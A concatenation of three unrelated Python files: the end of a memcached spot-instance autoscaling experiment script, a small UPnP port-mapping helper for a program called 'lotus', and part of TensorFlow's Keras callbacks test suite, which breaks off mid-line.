spot_trace2[index] if spot_fail1 and type1_instances: weight_transfer(type1_instances, memcached_servers_od, OD_input[i_time / 300], type1_input[i_time / 300], spot_fail_timer1) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) spot_fail_timer1 = spot_fail_timer1 + 1 if spot_fail_timer1 >= spot_fail_delay: for server in type1_instances: type1_instances[server]['core'] = 0 type1_instances[server]['ram'] = 0 type1_instances[server]['hot_weight'] = 0 type1_instances[server]['cold_weight'] = 0 type1_instances[server]['cpu_util'] = 0 type1_instances[server]['latency'] = 0 type1_instances[server]['turnover'] = 0 type1_instances = {} print 'spot instance terminated---' spot_fail_timer1 = 0 if spot_fail2 and type2_instances: weight_transfer(type2_instances, memcached_servers_od, OD_input[i_time / 300], type2_input[i_time / 300], spot_fail_timer2) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) spot_fail_timer2 = spot_fail_timer2 + 1 if spot_fail_timer2 >= spot_fail_delay: for server in type2_instances: type2_instances[server]['core'] = 0 type2_instances[server]['ram'] = 0 type2_instances[server]['hot_weight'] = 0 type2_instances[server]['cold_weight'] = 0 type2_instances[server]['cpu_util'] = 0 type2_instances[server]['latency'] = 0 type2_instances[server]['turnover'] = 0 type2_instances = {} print 'spot instance terminated---' spot_fail_timer2 = 0 if spot_fail3 and type3_instances: weight_transfer(type3_instances, memcached_servers_od, OD_input[i_time / 300], type3_input[i_time / 300], spot_fail_timer3) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) spot_fail_timer3 = spot_fail_timer3 + 1 if spot_fail_timer3 >= spot_fail_delay: for server in type3_instances: type3_instances[server]['core'] = 0 type3_instances[server]['ram'] = 0 type3_instances[server]['hot_weight'] = 0 type3_instances[server]['cold_weight'] = 0 type3_instances[server]['cpu_util'] = 0 type3_instances[server]['latency'] = 0 type3_instances[server]['turnover'] = 0 type3_instances = {} print 'spot instance terminated---' spot_fail_timer3 = 0 if spot_fail4 and type4_instances: weight_transfer(type4_instances, memcached_servers_od, OD_input[i_time / 300], type4_input[i_time / 300], spot_fail_timer4) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) spot_fail_timer4 = spot_fail_timer4 + 1 if spot_fail_timer4 >= spot_fail_delay: for server in type4_instances: type4_instances[server]['core'] = 0 type4_instances[server]['ram'] = 0 type4_instances[server]['hot_weight'] = 0 type4_instances[server]['cold_weight'] = 0 type4_instances[server]['cpu_util'] = 0 type4_instances[server]['latency'] = 0 type4_instances[server]['turnover'] = 0 type4_instances = {} print 'spot instance terminated---' spot_fail_timer4 = 0 """ if spot_fail == True: spot_fail_timer += 1 index = i_time / TP_INTERVAL print 'spot_fail_timer= %d' % spot_fail_timer if spot_fail_timer % spot_fail_interval == 1: print 'move data' m_delta_od = float(math.ceil(m_s[index] / (spot_fail_delay/spot_fail_interval))) m_delta_spot = -m_delta_od if spot_fail_timer == 1: c_delta_od = c_s[index] # memory scale on-demand instance mem_scale(memcached_servers_od, G_M_MIN, G_M_MAX, G_C_MIN, False, True) # memory scale spot instance mem_scale(memcached_servers_spot, M_DEFAULT, M_DEFAULT, C_DEFAULT, True, True) if spot_fail_timer == 1: # cpu scale on-demand instance cpu_scale(memcached_servers_od, G_C_MIN, G_C_MAX, G_M_MIN, False, True) # cpu scale spot instance cpu_scale(memcached_servers_spot, C_DEFAULT, C_DEFAULT, M_DEFAULT, True, True) # weight scale x += (1-x_t[index])/(spot_fail_delay/spot_fail_interval) y += (1-y_t[index])/(spot_fail_delay/spot_fail_interval) weight_scale(memcached_servers_od, memcached_servers_spot, x, y) update_server(memcached_servers_od, memcached_servers_spot, mcrouter_servers) if spot_fail_timer >= spot_fail_delay: index = i_time / TP_INTERVAL spot_fail_timer = 0 spot_fail = False for server in memcached_servers_spot: memcached_servers_spot[server]['core'] = 0 memcached_servers_spot[server]['ram'] = 0 memcached_servers_spot[server]['hot_weight'] = 0 memcached_servers_spot[server]['cold_weight'] = 0 memcached_servers_spot[server]['cpu_util'] = 0 memcached_servers_spot[server]['latency'] = 0 memcached_servers_spot[server]['turnover'] = 0 x_t[index] = 1 y_t[index] = 1 print 'spot instance terminated---' """ if i_time % T_STATUS == 0 and i_time > 0: get_status(memcached_servers_od, memcached_servers_spot, mcrouter_servers) tput_sum = sum(mcrouter_servers[server]['tput'] for server in mcrouter_servers) print "tput sum: %f" % tput_sum latency_ycsb = sum(mcrouter_servers[server]['latency'] for server in mcrouter_servers)/max(1,len(mcrouter_servers)) print "average ycsb latency: %f" % latency_ycsb active_od = get_active_servers(memcached_servers_od) active_spot = get_active_servers(memcached_servers_spot) avg_latency = sum(active_od[server]['latency'] for server in active_od) + sum(active_spot[server]['latency'] for server in active_spot) if (len(active_spot) + len(active_od)) == 0: avg_latency = 0 else: avg_latency = avg_latency / (len(active_spot) + len(active_od)) print "average memcached latency: %f" % avg_latency print "active od: %d" % len(active_od) print "active spot: %d" % len(active_spot) m_o_t = sum(active_od[server]['ram'] for server in active_od) m_s_t = sum(active_spot[server]['ram'] for server in active_spot) c_o_t = sum(active_od[server]['core'] for server in active_od) c_s_t = sum(active_spot[server]['core'] for server in active_spot) print "m_o: %d" % m_o_t print "m_s: %d" % m_s_t print "c_o: %d" % c_o_t print "c_s: %d" % c_s_t print type1_instances print type2_instances print type3_instances print type4_instances print memcached_servers_od f_output = open('./results/output.txt','a+') output = '%d\t%f\t%f\t%f\t%d\t%d\t%d\t%d\t%d\t%d\n' % (i_time, tput_sum, latency_ycsb, avg_latency, len(active_od), len(active_spot), m_o_t, m_s_t, c_o_t, c_s_t) f_output.write(output) f_output.close() #write_server_stats_to_file(i_time,memcached_servers_od, 'od') #write_server_stats_to_file(i_time,memcached_servers_spot, 'spot') """#if i == 8*360+60: #add noise arrival if i_time == 9*TP_INTERVAL+300000: extra_noise = True index = i_time / TP_INTERVAL update_server_noise(memcached_servers_od, memcached_servers_spot, mcrouter_servers_noise) #index = 8 # kill exist ycsb cmd = 'killall java' for server in mcrouter_servers_noise: run_cmd(server, cmd) time.sleep(1) cmd = '/home/ubuntu/ycsb/YCSB-master/bin/ycsb run memcached -P ycsb/YCSB-master/workloads/workloadc\ -p recordcount=%d -p maxexecutiontime=3600 -p hot_keys_file=/home/ubuntu/hot_keys_folder/hot_keys_2_%d\ -p random_seed=%d -p memcached.server=localhost:11211 -p enable_key_count_hashmap=false\ -p enable_key_popularity_stat=false -p enable_key_partition=false -threads 30\ -target %d -s > ycsb/YCSB-master/stats 2>&1'\ % (working_set[index], index + 1, random_seed[index], math.ceil(2*arrival[index]/len(mcrouter_servers_noise))) for server in mcrouter_servers_noise: run_cmd(server, cmd) if i_time == 16*TP_INTERVAL+300000: extra_noise = True index = i_time / TP_INTERVAL update_server_noise(memcached_servers_od, memcached_servers_spot, mcrouter_servers_noise) #index = 8 # kill exist ycsb cmd = 'killall java' for server in mcrouter_servers_noise: run_cmd(server, cmd) time.sleep(1) cmd = '/home/ubuntu/ycsb/YCSB-master/bin/ycsb run memcached -P ycsb/YCSB-master/workloads/workloadc\ -p recordcount=%d -p maxexecutiontime=3600 -p hot_keys_file=/home/ubuntu/hot_keys_folder/hot_keys_2_%d\ -p random_seed=%d -p memcached.server=localhost:11211 -p enable_key_count_hashmap=false\ -p enable_key_popularity_stat=false -p enable_key_partition=false -threads 30\ -target %d -s > ycsb/YCSB-master/stats 2>&1'\ % (working_set[index], index + 1, random_seed[index], math.ceil(1.5*arrival[index]/len(mcrouter_servers_noise))) for server in mcrouter_servers_noise: run_cmd(server, cmd) if extra_noise == True: noise_timer += 1 if noise_timer > noise_duration: #stop noise # kill exist ycsb cmd = 'killall java' for server in mcrouter_servers_noise: run_cmd(server, cmd) time.sleep(1) extra_noise = False noise_timer = 0 """ print "Time: %d" % i_time i_time += 1 time.sleep(1) T_DELTA += 1 if __name__ == '__main__': main()
upnp.py
import logging import threading from queue import Queue try: import miniupnpc except ImportError: pass log = logging.getLogger(__name__) class UPnP: def __init__(self): self.queue = Queue() def run(): try: self.upnp = miniupnpc.UPnP() self.upnp.discoverdelay = 30 self.upnp.discover() self.upnp.selectigd() keep_going = True while keep_going: msg = self.queue.get() if msg[0] == "remap": port = msg[1] log.info(f"Attempting to enable UPnP (open up port {port})") self.upnp.deleteportmapping(port, "TCP") self.upnp.addportmapping(port, "TCP", self.upnp.lanaddr, port, "lotus", "") log.info( f"Port {port} opened with UPnP. lanaddr {self.upnp.lanaddr} " f"external: {self.upnp.externalipaddress()}" ) elif msg[0] == "release": port = msg[1] self.upnp.deleteportmapping(port, "TCP") log.info(f"Port {port} closed with UPnP") elif msg[0] == "shutdown": keep_going = False except Exception as e: log.info( "UPnP failed. This is not required to run lotus, it allows incoming connections from other peers." ) log.info(e) self.thread = threading.Thread(target=run) self.thread.start() def remap(self, port): self.queue.put(("remap", port)) def release(self, port): self.queue.put(("release", port)) def shutdown(self): self.queue.put(("shutdown",)) self.thread.join() def __del__(self): self.shutdown()
callbacks_test.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for Keras callbacks.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections import csv import json import os import re import shutil import sys import threading import time import unittest from absl.testing import parameterized import numpy as np from tensorflow.core.framework import summary_pb2 from tensorflow.python import keras from tensorflow.python.data.ops import dataset_ops from tensorflow.python.eager import context from tensorflow.python.framework import ops from tensorflow.python.framework import random_seed from tensorflow.python.keras import keras_parameterized from tensorflow.python.keras import testing_utils from tensorflow.python.keras.engine import sequential from tensorflow.python.keras.optimizer_v2 import gradient_descent from tensorflow.python.keras.optimizer_v2 import learning_rate_schedule from tensorflow.python.keras.utils import np_utils from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import summary_ops_v2 from tensorflow.python.platform import test from tensorflow.python.platform import tf_logging as logging from tensorflow.python.summary import summary_iterator from tensorflow.python.training import adam from tensorflow.python.training import checkpoint_management try: import h5py # pylint:disable=g-import-not-at-top except ImportError: h5py = None try: import requests # pylint:disable=g-import-not-at-top except ImportError: requests = None TRAIN_SAMPLES = 10 TEST_SAMPLES = 10 NUM_CLASSES = 2 INPUT_DIM = 3 NUM_HIDDEN = 5 BATCH_SIZE = 5 class Counter(keras.callbacks.Callback): """Counts the number of times each callback method was run. Attributes: method_counts: dict. Contains the counts of time each callback method was run. """ def __init__(self): self.method_counts = collections.defaultdict(int) methods_to_count = [ 'on_batch_begin', 'on_batch_end', 'on_epoch_begin', 'on_epoch_end', 'on_predict_batch_begin', 'on_predict_batch_end', 'on_predict_begin', 'on_predict_end', 'on_test_batch_begin', 'on_test_batch_end', 'on_test_begin', 'on_test_end', 'on_train_batch_begin', 'on_train_batch_end', 'on_train_begin', 'on_train_end' ] for method_name in methods_to_count: setattr(self, method_name, self.wrap_with_counts(method_name, getattr(self, method_name))) def wrap_with_counts(self, method_name, method): def _call_and_count(*args, **kwargs): self.method_counts[method_name] += 1 return method(*args, **kwargs) return _call_and_count def _get_numpy(): return np.ones((10, 10)), np.ones((10, 1)) def _get_sequence(): class MySequence(keras.utils.data_utils.Sequence): def __getitem__(self, _): return np.ones((2, 10)), np.ones((2, 1)) def __len__(self): return 5 return MySequence(), None @keras_parameterized.run_with_all_model_types @keras_parameterized.run_all_keras_modes class CallbackCountsTest(keras_parameterized.TestCase): def _check_counts(self, counter, expected_counts): """Checks that the counts registered by `counter` are those expected.""" for method_name, expected_count in expected_counts.items(): self.assertEqual( counter.method_counts[method_name], expected_count, msg='For method {}: expected {}, got: {}'.format( method_name, expected_count, counter.method_counts[method_name])) def _get_model(self): layers = [ keras.layers.Dense(10, activation='relu'), keras.layers.Dense(1, activation='sigmoid') ] model = testing_utils.get_model_from_layers(layers, input_shape=(10,)) model.compile( adam.AdamOptimizer(0.001), 'binary_crossentropy', run_eagerly=testing_utils.should_run_eagerly()) return model @parameterized.named_parameters(('with_numpy', _get_numpy()), ('with_sequence', _get_sequence())) def test_callback_hooks_are_called_in_fit(self, data): if not context.executing_eagerly(): self.skipTest('Behavior changed in v2.') x, y = data val_x, val_y = np.ones((4, 10)), np.ones((4, 1)) model = self._get_model() counter = Counter() model.fit( x, y, validation_data=(val_x, val_y), batch_size=2, steps_per_epoch=5, epochs=5, callbacks=[counter]) self._check_counts( counter, { 'on_batch_begin': 25, 'on_batch_end': 25, 'on_epoch_begin': 5, 'on_epoch_end': 5, 'on_predict_batch_begin': 0, 'on_predict_batch_end': 0, 'on_predict_begin': 0, 'on_predict_end': 0, 'on_test_batch_begin': 10, 'on_test_batch_end': 10, 'on_test_begin': 5, 'on_test_end': 5, 'on_train_batch_begin': 25, 'on_train_batch_end': 25, 'on_train_begin': 1, 'on_train_end': 1 }) @parameterized.named_parameters(('with_numpy', _get_numpy()), ('with_sequence', _get_sequence())) def test_callback_hooks_are_called_in_evaluate(self, data): x, y = data is_sequence = isinstance(x, keras.utils.data_utils.Sequence) model = self._get_model() counter = Counter() model.evaluate( x, y, batch_size=2 if not is_sequence else None, steps=5 if is_sequence else None, callbacks=[counter]) self._check_counts( counter, { 'on_test_batch_begin': 5, 'on_test_batch_end': 5, 'on_test_begin': 1, 'on_test_end': 1 }) @parameterized.named_parameters(('with_numpy', _get_numpy()), ('with_sequence', _get_sequence())) def test_callback_hooks_are_called_in_predict(self, data): x = data[0] is_sequence = isinstance(x, keras.utils.data_utils.Sequence) model = self._get_model() counter = Counter() model.predict( x, batch_size=2 if not is_sequence else None, steps=5 if is_sequence else None, callbacks=[counter]) self._check_counts( counter, { 'on_predict_batch_begin': 5, 'on_predict_batch_end': 5, 'on_predict_begin': 1, 'on_predict_end': 1 }) def test_callback_list_methods(self): counter = Counter() callback_list = keras.callbacks.CallbackList([counter]) batch = 0 callback_list.on_test_batch_begin(batch) callback_list.on_test_batch_end(batch) callback_list.on_predict_batch_begin(batch) callback_list.on_predict_batch_end(batch) self._check_counts( counter, { 'on_test_batch_begin': 1, 'on_test_batch_end': 1, 'on_predict_batch_begin': 1, 'on_predict_batch_end': 1 }) class KerasCallbacksTest(keras_parameterized.TestCase): def _get_model(self, input_shape=None): layers = [ keras.layers.Dense(3, activation='relu'), keras.layers.Dense(2, activation='softmax') ] model = testing_utils.get_model_from_layers(layers, input_shape=input_shape) model.compile( loss='mse', optimizer='rmsprop', metrics=[keras.metrics.CategoricalAccuracy(name='my_acc')], run_eagerly=testing_utils.should_run_eagerly()) return model @keras_parameterized.run_with_all_model_types @keras_parameterized.run_all_keras_modes def test_progbar_logging(self): model = self._get_model(input_shape=(3,)) x = array_ops.ones((200, 3)) y = array_ops.zeros((200, 2)) dataset = dataset_ops.Dataset.from_tensor_slices((x, y)).batch(10) expected_log = r'(.*- loss:.*- my_acc:.*)+' with self.captureWritesToStream(sys.stdout) as printed: model.fit(dataset, epochs=2, steps_per_epoch=10) self.assertRegexpMatches(printed.contents(), expected_log) @keras_parameterized.run_all_keras_modes def test_callback_warning(self): class SleepCallback(keras.callbacks.Callback): def on_train_batch_end(self, batch, logs=None): time.sleep(1) model = sequential.Sequential() model.add(keras.layers.Dense(1, activation='sigmoid')) model.compile( 'sgd', loss='binary_crossentropy', run_eagerly=testing_utils.should_run_eagerly()) warning_messages = [] def warning(msg): warning_messages.append(msg) with test.mock.patch.object(logging, 'warning', warning): model.fit( np.ones((10, 10), 'float32'), np.ones((10, 1), 'float32'), batch_size=5, epochs=10, callbacks=[SleepCallback()]) warning_msg = ('Callbacks method `on_train_batch_end` is slow compared ' 'to the batch time. Check your callbacks.') self.assertIn(warning_msg, warning_messages) @keras_parameterized.run_with_all_model_types(exclude_models='functional') @keras_parameterized.run_all_keras_modes def test_progbar_logging_deferred_model_build(self): model = self._get_model() self.assertFalse(model.built) x = array_ops.ones((200, 3)) y = array_ops.zeros((200, 2)) dataset = dataset_ops.Dataset.from_tensor_slices((x, y)).batch(10) expected_log = r'(.*- loss:.*- my_acc:.*)+' with self.captureWritesToStream(sys.stdout) as printed: model.fit(dataset, epochs=2, steps_per_epoch=10) self.assertRegexpMatches(printed.contents(), expected_log) @keras_parameterized.run_with_all_model_types @keras_parameterized.run_all_keras_modes def test_progbar_logging_validation_data(self): model = self._get_model(input_shape=(3,)) x = array_ops.ones((50, 3)) y = array_ops.zeros((50, 2)) training_dataset = dataset_ops.Dataset.from_tensor_slices((x, y)).batch(10) val_dataset = dataset_ops.Dataset.from_tensor_slices((x, y)).batch(10) expected_log = r'(.*5/5.*- loss:.*- my_acc:.*- val_loss:.*- val_my_acc:.*)+' with self.captureWritesToStream(sys.stdout) as printed: model.fit(training_dataset, epochs=2, validation_data=val_dataset) self.assertRegexpMatches(printed.contents(), expected_log) @keras_parameterized.run_with_all_model_types @keras_parameterized.run_all_keras_modes(always_skip_v1=True) def test_progbar_logging_validation_split(self): model = self._get_model(input_shape=(3,)) x = np.ones((100, 3)) y = np.zeros((100, 2)) expected_log = ( r'(?s).*1/2.*8/8.*- loss:.*- my_acc:.*- val_loss:.*- val_my_acc:' r'.*2/2.*8/8.*- loss:.*- my_acc:.*- val_loss:.*- val_my_acc:.*') with self.captureWritesToStream(sys.stdout) as printed: model.fit(x, y, batch_size=10, epochs=2, validation_split=0.2) self.assertRegexpMatches(printed.contents(), expected_log) @keras_parameterized.run_with_all_model_types @keras_parameterized.run_all_keras_modes(always_skip_v1=True) def test_progbar_logging_training_validation(self): model = self._get_model(input_shape=(2,)) def generator(): for _ in range(100): yield [1, 1], 1 training = dataset_ops.Dataset \ .from_generator( generator=generator, output_types=('float64', 'float64'), output_shapes=([2], [])) \ .batch(2) \ .repeat() validation = dataset_ops.Dataset \ .from_generator( generator=generator, output_types=('float64', 'float64'), output_shapes=([2], [])) \ .batch(2) expected_log = ( r'(?s).*1/2.*20/20.*- loss:.*- my_acc:.*- val_loss:.*- val_my_acc:' r'.*2/2.*20/20.*- loss:.*- my_acc:.*- val_loss:.*- val_my_acc:.*') with self.captureWritesToStream(sys.stdout) as printed: model.fit( x=training, validation_data=validation, epochs=2, steps_per_epoch=20) self.assertRegexpMatches(printed.contents(), expected_log) @keras_parameterized.run_with_all_model_types @keras_parameterized.run_all_keras_modes(always_skip_v1=True) def test_progbar_logging_with_dataset_and_partial_batch(self): model = self._get_model(input_shape=(2,)) def generator(): # Have a partial batch at the end. for _ in range(9): yield np.random.random(2), 1 training = dataset_ops.Dataset \ .from_generator( generator=generator, output_types=('float64', 'float64'), output_shapes=([2], [])) \ .batch(2) validation = dataset_ops.Dataset \ .from_generator( generator=generator, output_types=('float64', 'float64'), output_shapes=([2], [])) \ .batch(2) with self.captureWritesToStream(sys.stdout) as printed: model.fit(x=training, validation_data=validation) # Make sure the value of val_ metrics are not zeros. log_content = printed.contents() val_loss = re.findall(r'val_loss: (\d\.\d+)', log_content) self.assertLen(val_loss, 1) self.assertGreater(float(val_loss[0]), 0.0) @keras_parameterized.run_with_all_model_types def test_ModelCheckpoint(self): if h5py is None: return # Skip test if models cannot be saved. layers = [ keras.layers.Dense(NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu'), keras.layers.Dense(NUM_CLASSES, activation='softmax') ] model = testing_utils.get_model_from_layers(layers, input_shape=(10,)) model.compile( loss='categorical_crossentropy', optimizer='rmsprop', metrics=['acc']) temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) filepath = os.path.join(temp_dir, 'checkpoint.h5') (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = np_utils.to_categorical(y_test) y_train = np_utils.to_categorical(y_train) # case 1 monitor = 'val_loss' save_best_only = False mode = 'auto' model = keras.models.Sequential() model.add( keras.layers.Dense( NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu')) model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax')) model.compile( loss='categorical_crossentropy', optimizer='rmsprop', metrics=['acc']) cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) os.remove(filepath) # case 2 mode = 'min' cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) os.remove(filepath) # case 3 mode = 'max' monitor = 'val_acc' cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) os.remove(filepath) # case 4 save_best_only = True cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) os.remove(filepath) # Case: metric not available. cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor='unknown', save_best_only=True) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) # File won't be written. assert not os.path.exists(filepath) # case 5 save_best_only = False period = 2 mode = 'auto' filepath = os.path.join(temp_dir, 'checkpoint.{epoch:02d}.h5') cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode, period=period) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=4, verbose=1) assert os.path.exists(filepath.format(epoch=2)) assert os.path.exists(filepath.format(epoch=4)) os.remove(filepath.format(epoch=2)) os.remove(filepath.format(epoch=4)) assert not os.path.exists(filepath.format(epoch=1)) assert not os.path.exists(filepath.format(epoch=3)) # Invalid use: this will raise a warning but not an Exception. keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode='unknown') # Case 6: `ModelCheckpoint` with a combination of `save_freq` and `period`. # Though `period` is deprecated, we're testing it for # backward-compatibility. filepath = os.path.join(temp_dir, 'checkpoint.epoch{epoch:02d}.h5') cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, mode=mode, save_freq='epoch', period=5) ] assert not os.path.exists(filepath.format(epoch=0)) assert not os.path.exists(filepath.format(epoch=5)) model.fit( x_train, y_train, batch_size=2, validation_data=(x_test, y_test), callbacks=cbks, epochs=10, verbose=1) assert not os.path.exists(filepath.format(epoch=1)) assert not os.path.exists(filepath.format(epoch=2)) assert not os.path.exists(filepath.format(epoch=3)) assert not os.path.exists(filepath.format(epoch=4)) assert os.path.exists(filepath.format(epoch=5)) assert not os.path.exists(filepath.format(epoch=6)) assert os.path.exists(filepath.format(epoch=10)) os.remove(filepath.format(epoch=5)) os.remove(filepath.format(epoch=10)) # Case 7: `ModelCheckpoint` with an integer `save_freq` filepath = os.path.join(temp_dir, 'checkpoint.epoch{epoch:02d}.h5') cbks = [ keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode, save_freq=15, period=100) # The period should be ignored (this test tests this). ] assert not os.path.exists(filepath.format(epoch=3)) model.fit( x_train, y_train, batch_size=2, validation_data=(x_test, y_test), callbacks=cbks, epochs=10, verbose=1) assert not os.path.exists(filepath.format(epoch=1)) assert not os.path.exists(filepath.format(epoch=2)) assert os.path.exists(filepath.format(epoch=3)) assert not os.path.exists(filepath.format(epoch=4)) assert not os.path.exists(filepath.format(epoch=5)) assert os.path.exists(filepath.format(epoch=6)) assert not os.path.exists(filepath.format(epoch=7)) assert not os.path.exists(filepath.format(epoch=8)) assert os.path.exists(filepath.format(epoch=9)) os.remove(filepath.format(epoch=3)) os.remove(filepath.format(epoch=6)) os.remove(filepath.format(epoch=9)) # Case 8: `ModelCheckpoint` with valid and invalid save_freq argument. with self.assertRaisesRegexp(ValueError, 'Unrecognized save_freq'): keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode, save_freq='invalid_save_freq') # The following should not raise ValueError. keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode, save_freq='epoch') keras.callbacks.ModelCheckpoint( filepath, monitor=monitor, save_best_only=save_best_only, mode=mode, save_freq=3) def _get_dummy_resource_for_model_checkpoint_testing(self): def get_input_datasets(): # Simple training input. train_input = [[1.]] * 16 train_label = [[0.]] * 16 ds = dataset_ops.Dataset.from_tensor_slices((train_input, train_label)) return ds.batch(8, drop_remainder=True) # Very simple bias model to eliminate randomness. optimizer = gradient_descent.SGD(0.1) model = sequential.Sequential() model.add(testing_utils.Bias(input_shape=(1,))) model.compile(loss='mae', optimizer=optimizer, metrics=['mae']) train_ds = get_input_datasets() temp_dir = self.get_temp_dir() filepath = os.path.join(temp_dir, 'checkpoint.epoch{epoch:02d}.h5') # The filepath shouldn't exist at the beginning. self.assertFalse(os.path.exists(filepath)) callback = keras.callbacks.ModelCheckpoint( filepath=filepath, save_weights_only=True) return model, train_ds, callback, filepath def _run_load_weights_on_restart_test_common_iterations(self): (model, train_ds, callback, filepath) = self._get_dummy_resource_for_model_checkpoint_testing() initial_epochs = 3 model.fit(train_ds, epochs=initial_epochs, callbacks=[callback]) # The files should exist after fitting with callback. for epoch in range(initial_epochs): self.assertTrue(os.path.exists(filepath.format(epoch=epoch + 1))) self.assertFalse(os.path.exists(filepath.format(epoch=initial_epochs + 1))) self.assertEqual( callback._get_most_recently_modified_file_matching_pattern(filepath), filepath.format(epoch=initial_epochs)) model.fit(train_ds, epochs=1) weights_after_one_more_epoch = model.get_weights() # The filepath should continue to exist after fitting without callback. for epoch in range(initial_epochs): self.assertTrue(os.path.exists(filepath.format(epoch=epoch + 1))) return model, train_ds, filepath, weights_after_one_more_epoch @staticmethod def get_ModelCheckpoint_load_weights_on_restart_true_test(save_weights_only): def func(self): (model, train_ds, filepath, weights_after_one_more_epoch ) = self._run_load_weights_on_restart_test_common_iterations() # Sleep for some short time period ensuring the files are created with # a different time (in MacOS OSS the granularity is only 1 second). time.sleep(2) callback = keras.callbacks.ModelCheckpoint( filepath=filepath, save_weights_only=save_weights_only, load_weights_on_restart=True) model.fit(train_ds, epochs=1, callbacks=[callback]) weights_after_model_restoring_and_one_more_epoch = model.get_weights() self.assertEqual( callback._get_most_recently_modified_file_matching_pattern(filepath), filepath.format(epoch=1)) model.fit( train_ds, epochs=1, callbacks=[ keras.callbacks.ModelCheckpoint( filepath=filepath, save_weights_only=save_weights_only, load_weights_on_restart=True) ]) weights_with_one_final_extra_epoch = model.get_weights() # Asserting the weights one epoch after initial fitting and another epoch # after that are closed, if a ModelCheckpoint with # load_weights_on_restart=True is given (so the model is restored at the # beginning of training). self.assertAllClose(weights_after_one_more_epoch, weights_after_model_restoring_and_one_more_epoch) self.assertNotAllClose(weights_after_one_more_epoch, weights_with_one_final_extra_epoch) return func @staticmethod def get_ModelCheckpoint_load_weights_on_restart_false_test(save_weights_only): def func(self): (model, train_ds, filepath, weights_after_one_more_epoch ) = self._run_load_weights_on_restart_test_common_iterations() model.fit( train_ds, epochs=1, callbacks=[ keras.callbacks.ModelCheckpoint( filepath=filepath, save_weights_only=save_weights_only) ]) weights_after_model_restoring_and_one_more_epoch = model.get_weights() # Asserting the weights one epoch after initial fitting and another epoch # after that are different, if a ModelCheckpoint with # load_weights_on_restart=False is given (so the model is not restored at # the beginning of training). self.assertNotAllClose(weights_after_one_more_epoch, weights_after_model_restoring_and_one_more_epoch) return func test_model_checkpoint_load_weights_on_restart_true_save_weights_only_true = \ get_ModelCheckpoint_load_weights_on_restart_true_test.__func__(True) test_model_checkpoint_load_weights_on_restart_true_save_weights_only_false = \ get_ModelCheckpoint_load_weights_on_restart_true_test.__func__(False) test_model_checkpoint_load_weights_on_restart_false_save_weights_only_true = \ get_ModelCheckpoint_load_weights_on_restart_false_test.__func__(True) test_model_checkpoint_load_weights_on_restart_false_save_weights_only_false \ = get_ModelCheckpoint_load_weights_on_restart_false_test.__func__(False) def test_ModelCheckpoint_override_if_file_exist(self): (model, train_ds, filepath, _) = self._run_load_weights_on_restart_test_common_iterations() # Sleep for some short time period to ensure the files are created with # a different time (in MacOS OSS the granularity is only 1 second). time.sleep(2) callback = keras.callbacks.ModelCheckpoint( filepath=filepath, save_weights_only=True) model.load_weights( callback._get_most_recently_modified_file_matching_pattern(filepath)) weights_before_additional_fit = model.get_weights() model.fit(train_ds, epochs=1, callbacks=[callback]) model.load_weights( callback._get_most_recently_modified_file_matching_pattern(filepath)) weights_after_additional_fit = model.get_weights() self.assertNotAllClose(weights_before_additional_fit, weights_after_additional_fit) def test_fit_with_ModelCheckpoint_with_tf_config(self): (model, train_ds, callback, _) = self._get_dummy_resource_for_model_checkpoint_testing() os.environ['TF_CONFIG'] = json.dumps({ 'cluster': { 'worker': ['localhost:23333'] }, 'task': { 'type': 'worker', 'index': 0 } }) # `model.fit()` should work regardless of the presence of `TF_CONFIG`. model.fit(train_ds, epochs=1, callbacks=[callback]) def test_fit_with_ModelCheckpoint_with_dir_as_h5_filepath(self): (model, train_ds, callback, filepath) = 